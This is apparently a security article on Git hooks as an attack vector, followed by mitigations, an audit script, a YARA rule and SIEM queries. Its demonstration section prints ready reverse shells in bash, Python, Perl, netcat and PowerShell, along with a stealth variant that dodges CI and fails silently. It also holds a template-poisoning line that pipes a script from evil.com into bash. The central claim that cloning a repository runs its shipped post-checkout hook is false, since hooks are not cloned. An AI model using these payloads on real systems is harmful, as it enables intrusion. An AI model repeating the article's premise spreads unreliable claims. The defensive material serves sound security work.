Git Hooks: The Hidden RCE Vector in Your Development Workflow
Reading time: ~18 minutes | Level: Intermediate to Advanced
Executive Summary
Git hooks represent one of the most underestimated attack vectors in modern software development. While organizations invest heavily in securing their CI/CD pipelines and container registries, the humble .git/hooks/ directory often escapes scrutiny—providing attackers with a reliable path to code execution on developer workstations.
This article provides a comprehensive technical breakdown of Git hook exploitation, real-world attack scenarios, and actionable defenses for both individual developers and enterprises.
Legal Disclaimer
WARNING: The techniques described in this article are for educational and authorized security testing purposes only. Executing these attacks against systems without explicit written permission is illegal in most jurisdictions and may violate computer fraud and abuse laws including the CFAA (US), Computer Misuse Act (UK), and similar legislation worldwide.
Always obtain proper authorization before testing. Use isolated lab environments. The author assumes no responsibility for misuse of this information.
Introduction: Why Git Hooks Matter in Supply Chain Security
The software supply chain has become a prime target for sophisticated threat actors. While much attention focuses on dependency confusion, typosquatting, and compromised packages, Git hooks represent a stealthier vector that operates at the source code management layer itself.
Consider this scenario: A developer clones a repository, and before they even open an IDE, malicious code has already executed on their machine. No user interaction required beyond git clone. No suspicious npm scripts. No malware in the source code. Just a seemingly innocent Git repository.
This is the reality of Git hook exploitation.
Why This Vector is Underestimated
- Trust in Version Control: Developers implicitly trust repositories from colleagues and popular open-source projects
- Invisible Execution: Hooks execute automatically without visible prompts
- Pre-Code Review: Code executes before any human reviews the repository content
- Persistence: Hooks survive across branches and can be difficult to detect
- Limited Tooling: Most security scanners don't examine
.git/directories
Fundamentals: Understanding Git Hooks
What Are Git Hooks?
Git hooks are executable scripts located in the .git/hooks/ directory of any Git repository. They are triggered automatically by specific Git events, allowing developers to automate tasks like:
- Linting code before commits
- Validating commit messages
- Running tests before pushes
- Deploying code after merges
Hook File Requirements
For a hook to execute, it must:
- Be named correctly (e.g.,
pre-commit, notpre-commit.sample) - Have execute permissions (
chmod +x) - Start with a valid shebang (e.g.,
#!/bin/sh,#!/usr/bin/env python3)
The .sample Distinction
Git includes example hooks with the .sample extension. These are inert by default—they will not execute until renamed. This is a critical detail:
.git/hooks/
├── pre-commit.sample # INERT - will NOT execute
├── pre-commit # ACTIVE - WILL execute
├── post-checkout.sample # INERT
└── post-checkout # ACTIVE - WILL execute
Client-Side vs Server-Side Hooks
| Type | Location | Examples | Security Context |
|---|---|---|---|
| Client-side | Developer machine | pre-commit, post-checkout, post-merge | Can compromise developer workstations |
| Server-side | Git server | pre-receive, update, post-receive | Can compromise CI/CD and deploy processes |
This article focuses primarily on client-side hooks due to their higher exploitability in supply chain scenarios.
Comprehensive Hook Reference Table
| Hook | Trigger Event | Bypass Method | Risk Level | Notes |
|---|---|---|---|---|
pre-commit | git commit | --no-verify | High | Runs before commit is created |
prepare-commit-msg | git commit | --no-verify | High | Can modify commit message |
commit-msg | git commit | --no-verify | High | Validates commit message |
post-commit | git commit | None | High | Runs after commit completes |
pre-rebase | git rebase | --no-verify | Medium | Can abort rebase |
post-checkout | git clone, git checkout | --no-checkout | Critical | Executes on clone! |
post-merge | git pull, git merge | None | High | Runs after merge completes |
pre-push | git push | --no-verify | High | Can block push operations |
pre-auto-gc | Automatic GC | None | Low | Rarely triggered |
post-rewrite | git commit --amend, git rebase | None | Medium | Modifying history |
sendemail-validate | git send-email | None | Low | Email workflow specific |
fsmonitor-watchman | File system monitoring | None | Low | Performance hook |
p4-changelist | Perforce integration | None | Low | P4 specific |
p4-prepare-changelist | Perforce integration | None | Low | P4 specific |
p4-post-changelist | Perforce integration | None | Low | P4 specific |
p4-pre-submit | Perforce integration | None | Low | P4 specific |
push-to-checkout | Receiving push | None | Medium | Non-bare repos |
update | Server-side | None | High | Per-branch server hook |
pre-receive | Server-side | None | High | Server-side validation |
post-receive | Server-side | None | High | Server-side post-processing |
post-update | Server-side | None | Medium | Legacy server hook |
Critical Observation
Critical Risk: The
post-checkouthook is particularly dangerous because it executes duringgit cloneoperations. An attacker can craft a repository that compromises the victim the moment they clone it—no additional interaction required.
Attack Vectors
Vector 1: Malicious Repository Distribution
Scenario: Attacker creates/compromises a repository and adds a malicious hook.
Attacker Victim
│ │
├─► Create repo with │
│ post-checkout hook │
│ │
├─► Share link via: │
│ - Email │
│ - Social media │
│ - Tutorial/blog │
│ │
│ ◄─────┤ git clone <repo>
│ │
│ ┌────────────────────────────┤
│ │ post-checkout executes │
│ │ Reverse shell established │
│ └────────────────────────────┤
│ │
◄────────────────────────────────┤ Shell connection
│ │
Real-world parallels:
- Fake "security tools" or "exploit PoCs" on GitHub
- Typosquatted repository names
- Compromised popular repositories (rare but devastating)
Vector 2: Supply Chain via Dependencies
Modern development often involves Git submodules or direct repository cloning as part of build processes.
# Build script that clones dependencies
git clone https://github.com/org/library.git deps/library
cd deps/library && ./configure && make install
# If library repo is compromised, hooks execute before configureVector 3: Social Engineering + Pull Requests
Attackers submit PRs that include:
- A
.githooks/directory with "helpful" hooks - A setup script that installs these hooks
- Documentation encouraging running the setup script
# Innocent-looking setup.sh
#!/bin/bash
echo "Setting up development environment..."
cp .githooks/* .git/hooks/
chmod +x .git/hooks/*
echo "Done! You can now commit with automatic linting."Vector 4: Insider Threat
A malicious insider adds hooks to internal repositories:
- During "tooling improvements"
- As part of "developer experience" initiatives
- Hidden in large PRs with many changes
Vector 5: Template Directory Poisoning
Git uses template directories to initialize new repositories. Poisoning these templates provides persistence across all new repositories.
# Attacker gains access and modifies global template
echo 'curl https://evil.com/shell.sh | bash' > \
/usr/share/git-core/templates/hooks/post-checkout
chmod +x /usr/share/git-core/templates/hooks/post-checkout
# Every future `git init` or `git clone` by any user is compromisedTechnical Demonstration
Lab Environment Only: Only perform these demonstrations in isolated, controlled environments with no network access to production systems. Use virtual machines or containers with snapshot capabilities.
Lab Environment Setup
Requirements:
- 2 isolated VMs/containers (attacker + victim)
- Network connectivity between them only
- No internet access from the lab
Network Diagram:
┌─────────────────────────────────────────────────────────────┐
│ Isolated Lab Network │
│ 10.0.0.0/24 │
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ ATTACKER │ │ VICTIM │ │
│ │ 10.0.0.10 │◄────────────►│ 10.0.0.20 │ │
│ │ │ │ │ │
│ │ nc listener │ │ git client │ │
│ │ port 4444 │ │ │ │
│ └─────────────────┘ └─────────────────┘ │
│ │
│ ╳ No external network access ╳ │
└─────────────────────────────────────────────────────────────┘
Payload Variations
1. Bash Reverse Shell (Linux with /dev/tcp)
#!/bin/bash
# post-checkout hook - executes on git clone
bash -i >& /dev/tcp/10.0.0.10/4444 0>&1Note: Requires bash compiled with /dev/tcp support (most Linux distributions).
2. Python Reverse Shell (Cross-platform)
#!/usr/bin/env python3
import socket,subprocess,os
def connect():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.10",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
if __name__ == "__main__":
try:
connect()
except:
pass # Fail silently to avoid suspicion
# Exit 0 to not break git operation
exit(0)3. Perl Reverse Shell (Common on Unix systems)
#!/usr/bin/perl
use Socket;
$i="10.0.0.10";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
}
# Continue normally if connection fails
exit(0);4. Netcat Reverse Shell (If nc is available)
#!/bin/bash
# Check for different netcat variants
if command -v nc &> /dev/null; then
nc -e /bin/sh 10.0.0.10 4444 2>/dev/null || \
nc 10.0.0.10 4444 -c /bin/sh 2>/dev/null || \
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.10 4444 >/tmp/f &
fi
exit 05. PowerShell Reverse Shell (Windows)
#!/usr/bin/env pwsh
# post-checkout hook for Windows environments
$client = New-Object System.Net.Sockets.TCPClient("10.0.0.10",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()Attack Execution Steps
On Attacker Machine (10.0.0.10):
# Start listener
nc -lvnp 4444On Victim Machine (10.0.0.20):
# Clone the malicious repository
git clone http://10.0.0.10/malicious-repo.git
# OR if using pre-commit hook, make a commit
cd existing-repo
git commit -m "test"Result: Reverse shell connection established on the attacker's listener.
Stealthy Payload Considerations
Real-world attacks often include stealth mechanisms:
#!/bin/bash
# Stealthy post-checkout hook
# Run payload in background to not block git
(
sleep 2 # Delay to avoid correlation with clone
# Check if running in CI/CD (avoid detection)
if [ -n "$CI" ] || [ -n "$GITHUB_ACTIONS" ] || [ -n "$GITLAB_CI" ]; then
exit 0
fi
# Payload here
bash -i >& /dev/tcp/10.0.0.10/4444 0>&1
) &>/dev/null &
# Exit successfully to not raise suspicion
exit 0Mitigations
1. Global Hooks Path Override
The most effective single mitigation: redirect all hook execution to a controlled location.
# Option A: Disable all hooks globally
git config --global core.hooksPath /dev/null
# Option B: Point to organization-approved hooks
git config --global core.hooksPath ~/.config/git/hooks-approved
# Verify configuration
git config --global --get core.hooksPathImportant: This must be set before cloning untrusted repositories.
2. Safe Directory Configuration (CVE-2022-24765)
Protect against hooks in directories owned by other users:
# Add specific safe directories
git config --global --add safe.directory /path/to/trusted/repo
# Or allow current directory
git config --global --add safe.directory '*' # USE WITH CAUTION3. Pre-Clone Audit Script
Run this before cloning any repository:
#!/bin/bash
# audit-repo.sh - Audit a repository for suspicious hooks before use
REPO_PATH="${1:-.}"
echo "=== Git Hook Security Audit ==="
echo "Repository: $REPO_PATH"
echo ""
# Check for active hooks (non-.sample files)
HOOKS_DIR="$REPO_PATH/.git/hooks"
if [ ! -d "$HOOKS_DIR" ]; then
echo "[INFO] No .git/hooks directory found"
exit 0
fi
echo "[*] Checking for active hooks..."
FOUND_ISSUES=0
for hook in "$HOOKS_DIR"/*; do
# Skip if not a file
[ -f "$hook" ] || continue
# Skip .sample files
[[ "$hook" == *.sample ]] && continue
HOOK_NAME=$(basename "$hook")
echo ""
echo "[WARNING] Active hook found: $HOOK_NAME"
FOUND_ISSUES=1
# Check permissions
if [ -x "$hook" ]; then
echo " - Has execute permission"
fi
# Check for suspicious patterns
echo " - Scanning for suspicious patterns..."
# Network connections
if grep -qE '(/dev/tcp|socket|Socket|curl|wget|nc\s|netcat)' "$hook" 2>/dev/null; then
echo " [CRITICAL] Network connection patterns detected!"
fi
# Command execution
if grep -qE '(eval|exec|system|subprocess|os\.popen)' "$hook" 2>/dev/null; then
echo " [HIGH] Command execution patterns detected!"
fi
# Encoded content
if grep -qE '(base64|decode|\\x[0-9a-f]{2})' "$hook" 2>/dev/null; then
echo " [MEDIUM] Encoded content detected!"
fi
# Show first 20 lines
echo " - First 20 lines:"
head -20 "$hook" | sed 's/^/ /'
done
echo ""
if [ $FOUND_ISSUES -eq 0 ]; then
echo "[OK] No active hooks found"
else
echo "[!] Review detected hooks before proceeding"
exit 1
fi4. Clone Without Hooks Execution
For untrusted repositories:
# Clone without checkout (prevents post-checkout hook)
git clone --no-checkout https://example.com/repo.git
cd repo
# Audit hooks before checkout
ls -la .git/hooks/
# Remove or inspect suspicious hooks
rm .git/hooks/post-checkout
# Now checkout safely
git checkout main5. Security Scanning Tools
| Tool | Purpose | Integration |
|---|---|---|
| git-secrets | Prevents committing secrets | Pre-commit hook |
| gitleaks | Scans for secrets in repos | CI/CD, pre-commit |
| truffleHog | Regex & entropy scanning | CI/CD pipeline |
| YARA | Custom malware signatures | File scanning |
| Semgrep | Static analysis | CI/CD, IDE |
Example YARA Rule for Malicious Hooks:
rule Malicious_Git_Hook {
meta:
description = "Detects potential malicious Git hooks"
author = "Security Team"
strings:
$shebang = /^#!\/(bin\/(ba)?sh|usr\/bin\/env (python|perl|ruby))/
// Network indicators
$net1 = "/dev/tcp/" nocase
$net2 = "socket.socket" nocase
$net3 = "Socket" nocase
$net4 = /\bcurl\b/ nocase
$net5 = /\bwget\b/ nocase
$net6 = /\bnc\s/ nocase
$net7 = "netcat" nocase
// Reverse shell patterns
$rev1 = "0>&1"
$rev2 = ">&2"
$rev3 = "dup2"
// Execution
$exec1 = /\beval\b/ nocase
$exec2 = /\bexec\b/ nocase
$exec3 = "subprocess" nocase
$exec4 = "os.system" nocase
condition:
$shebang at 0 and (
any of ($net*) or
any of ($rev*) or
2 of ($exec*)
)
}6. Enterprise Git Configuration
For organizations, enforce security via Git configuration:
# /etc/gitconfig (system-wide)
[core]
# Redirect hooks to controlled directory
hooksPath = /opt/company/git-hooks
# Require signed commits
# commitGraph = true
[safe]
# Only allow specific directories
directory = /home/*/projects
directory = /opt/company/repos
[receive]
# Server-side: reject pushes with hooks
denyCurrentBranch = refuse
[transfer]
# Validate objects on fetch
fsckObjects = true7. Organizational Policies
Implement these policies:
-
Prohibit client-side hooks in repositories
- Use server-side hooks for enforcement
- Use external tools (Husky with explicit setup) for optional client hooks
-
Code review requirements
- All scripts (including setup scripts) require review
.githooks/directories require security team approval
-
Dependency management
- Audit all repositories before adding as submodules
- Use
--ignore-scriptsfor npm/yarn where possible:bashnpm install --ignore-scripts yarn install --ignore-scripts
-
Developer training
- Include Git hook risks in security awareness
- Provide safe repository cloning procedures
Detection
Indicators of Compromise (IOCs)
Look for these signs of hook exploitation:
# Check for unexpected active hooks
find /home -name ".git" -type d -exec \
sh -c 'ls "$1/hooks/" 2>/dev/null | grep -v sample' \; \
-print 2>/dev/null
# Check for recently modified hooks
find /home -path "*/.git/hooks/*" -type f \
! -name "*.sample" -mtime -7 2>/dev/null
# Network connections from git processes
lsof -i -n -P | grep git
# Process ancestry check
ps auxf | grep -E "(bash|sh|python|perl).*git"SIEM Queries
Splunk:
index=endpoint process_name=git
| join [search index=endpoint parent_process_name=git child_process_name IN (bash, sh, python, perl, nc)]
| where network_connections > 0
| table _time, host, user, process_command_line, network_destElastic/Kibana:
{
"query": {
"bool": {
"must": [
{"match": {"process.parent.name": "git"}},
{"terms": {"process.name": ["bash", "sh", "python", "perl"]}},
{"exists": {"field": "destination.ip"}}
]
}
}
}Attack Flow Diagram
┌─────────────────────────────────────────────────────────────────────────────┐
│ GIT HOOK RCE ATTACK FLOW │
└─────────────────────────────────────────────────────────────────────────────┘
ATTACKER DELIVERY VICTIM
┌─────────┐ ┌─────────┐ ┌─────────┐
│ │ │ │ │ │
│ Create │ Vectors: │ Repo │ │Developer│
│Malicious│───────────────► │ with │ │Workstat.│
│ Repo │ - GitHub │ Hook │ │ │
│ │ - GitLab │ │ │ │
└────┬────┘ - Phishing └────┬────┘ └────┬────┘
│ - Supply Chain │ │
│ │ │
▼ │ │
┌─────────┐ │ │
│ Add │ │ git clone <repo> │
│ post- │ │ ◄──────────────────────────┤
│checkout │ │ │
│ hook │ │ │
└─────────┘ │ │
│ │
│ Repository cloned │
├───────────────────────────►│
│ │
│ ▼
│ ┌──────────────┐
│ │ post-checkout│
│ │ hook EXECUTES│
│ │ AUTOMATIC │
│ └──────┬───────┘
│ │
│ ▼
┌─────────┐ │ ┌──────────────┐
│Listener │◄─────────────────────┼─────────────────────│Reverse Shell │
│nc -lvnp │ Outbound TCP 4444 │ │ Connection │
│ 4444 │ │ └──────────────┘
└────┬────┘ │
│ │
▼ │
┌─────────┐ │
│ FULL │ │
│ SHELL │ │
│ ACCESS │ │
└─────────┘ │
TIMELINE:
═══════════════════════════════════════════════════════════════════════════►
T+0: Clone T+1: Hook T+2: Connection T+3: Full Access
initiated executes established on victim machine
Comparative Risk Matrix
| Git Operation | Hooks Triggered | User Action Required | Bypass Available | Risk Score |
|---|---|---|---|---|
git clone | post-checkout | None after clone | --no-checkout | 10/10 |
git pull | post-merge, post-checkout | Execute command | Limited | 9/10 |
git checkout | post-checkout | Execute command | --no-checkout | 8/10 |
git merge | post-merge | Execute command | None | 8/10 |
git commit | pre-commit, commit-msg, post-commit | Stage + commit | --no-verify | 7/10 |
git push | pre-push | Commit + push | --no-verify | 6/10 |
git rebase | pre-rebase, post-rewrite | Execute command | --no-verify | 6/10 |
git am | applypatch-msg, pre-applypatch, post-applypatch | Apply patches | --no-verify | 5/10 |
Security Checklist
Use this checklist before working with any untrusted repository:
Before Cloning
- Is the repository from a trusted source?
- Have you verified the repository URL is not a typosquat?
- Is
core.hooksPathset to a safe location? - Are you cloning into an isolated environment?
After Cloning
- Check
.git/hooks/for active (non-.sample) hooks - Review any scripts in
.githooks/,scripts/, or similar - Verify setup scripts don't install hooks
- Check for
core.hooksPathin.git/config
Ongoing Repository Maintenance
- Periodically audit hooks in all local repositories
- Review pull requests for hook-related changes
- Use
--no-verifyfor commits in unfamiliar repos - Keep Git updated for latest security patches
Enterprise Checklist
- Implement
core.hooksPathglobally via system config - Deploy YARA rules for hook scanning
- Configure SIEM alerts for suspicious git-spawned processes
- Include Git security in developer onboarding
- Audit submodules and external repository dependencies
- Use
transfer.fsckObjectsfor object validation
Related CVEs and References
| CVE | Description | Relevance |
|---|---|---|
| CVE-2022-24765 | Git unsafe directory ownership | Allows hook execution in shared directories |
| CVE-2022-29187 | Git multi-user machine exploitation | Escalation via hooks |
| CVE-2022-39253 | Local clone optimization exposure | Data exposure via symbolic links |
| CVE-2022-39260 | git shell integer overflow | Command injection possibility |
| CVE-2023-22490 | Local clone arbitrary file read | Symbolic link exploitation |
| CVE-2023-23946 | Path traversal via git apply | Arbitrary file write |
Further Reading
- Git Hooks Documentation
- Git Security Advisories
- OWASP Supply Chain Security
- GitHub Security Best Practices
- NIST Software Supply Chain Security
Conclusion
Git hooks represent a significant, often overlooked attack vector in modern software development workflows. The combination of automatic execution, implicit trust in repositories, and limited security tooling makes this vector attractive to sophisticated threat actors.
Key Takeaways
-
post-checkoutis critical: This hook executes ongit clone, requiring no user interaction beyond the clone itself. -
.samplefiles are inert: Attacks require removing the.sampleextension and ensuring execute permissions. -
Mitigations exist:
core.hooksPathprovides an effective global defense against malicious hooks. -
Defense in depth: Combine global configuration with audit scripts, security scanning, and organizational policies.
-
Education is essential: Developers must understand this risk vector to protect themselves and their organizations.
Immediate Actions
-
Right now: Set
git config --global core.hooksPath /dev/nullif you clone untrusted repositories -
This week: Audit all local repositories for active hooks
-
This month: Implement organizational policies and detection mechanisms
-
Ongoing: Include Git hook security in regular security awareness training
Appendix: Quick Reference Commands
# Disable all hooks globally
git config --global core.hooksPath /dev/null
# Clone without triggering post-checkout
git clone --no-checkout <url>
# Commit without pre-commit/commit-msg hooks
git commit --no-verify -m "message"
# Push without pre-push hook
git push --no-verify
# List active hooks in a repository
ls -la .git/hooks/ | grep -v sample
# Find all active hooks system-wide
find ~ -path "*/.git/hooks/*" -type f ! -name "*.sample" -ls 2>/dev/null
# Check current hooks configuration
git config --get core.hooksPathThis article is provided for educational purposes to help security professionals and developers understand and defend against Git hook exploitation. Always conduct security testing only with proper authorization.